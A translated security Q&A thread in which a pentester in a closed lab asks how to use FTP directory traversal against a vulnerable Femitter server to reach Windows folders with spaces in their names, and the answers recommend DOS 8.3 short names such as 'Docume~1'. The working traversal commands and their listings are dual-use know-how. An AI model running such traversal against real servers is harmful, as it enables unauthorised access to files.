Ataque de travessia do diretório FTP em diretórios contendo espaços em branco

11

Estou realizando um pentest sancionado em um ambiente de referência fechado e lutei com uma questão aparentemente simples, que atualmente não consigo resolver.

Ao tentar executar um ataque de travessia de diretório contra um servidor FTP Fermitter vulnerável em execução no sistema operacional MS Windows, é possível fazer uma LIST na raiz do sistema (endereços e listagens de conteúdo são alterados apenas para referência):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

No entanto, se eu quiser listar o conteúdo de uma pasta contendo espaços em branco como Documents and settings , não posso listar o conteúdo do diretório devido a espaços brancos sendo ignorados.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Eu já tentei usar diferentes clientes FTP (CLI e GUI, no Linux e no Windows) e eles ignoram espaços em branco ou impedem a passagem de diretórios.

Também tentei criar scripts para o ataque ao Python usando primeiro sockets raw e depois ftplib para enviar os comandos no formato HEX diretamente para o servidor FTP, mas sem sucesso.

Pesquisando por algumas horas não produziu uma solução de trabalho (sim, havia muitas opções, o que não funcionou), é por isso que há alguém aqui, que teve o mesmo problema. Certamente, esta não é a primeira vez que uma travessia de diretórios com espaços em branco é necessária.

    
por lockout 23.02.2016 / 18:56

3 respostas

13

Solução sugerida pelo @Dogeatcatworld para usar a notação curta do diretório do MS Windows, como C:\Docume~1\ .

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Artigo realmente bom da Base de Conhecimento MS explica a notação de diretório 8.3: Como o Windows gera nomes de arquivo 8.3 a partir de nomes extensos de arquivos

    
por 24.02.2016 / 08:56
1

The "short name" is really the old DOS 8.3 naming convention, so all the directories will be the first 6 letters followed by ~1 assuming there is only one name that matches, for example:

C:\ABCDEF~1 - C:\ABCDEFG I AM DIRECTORY
C:\BCDEFG~1 - C:\BCDEFGHIJKL M Another Directory

Here is the only exception:

C:\ABCDEF~1 - C:\ABCDEFG I AM DIRECTORY
C:\ABCDEF~2 - C:\ABCDEFGHI Directory as well

Fonte: Como posso encontrar o caminho curto de um diretório / arquivo do Windows?

    
por 03.04.2016 / 18:24
0

O ftp não usa codificação de url, então% xx não funcionará a menos que você esteja usando ftp em um navegador que possa traduzi-lo para você.

Tente usar aspas em vez disso, ou seja: ls "../../some dir"

    
por 24.02.2016 / 11:24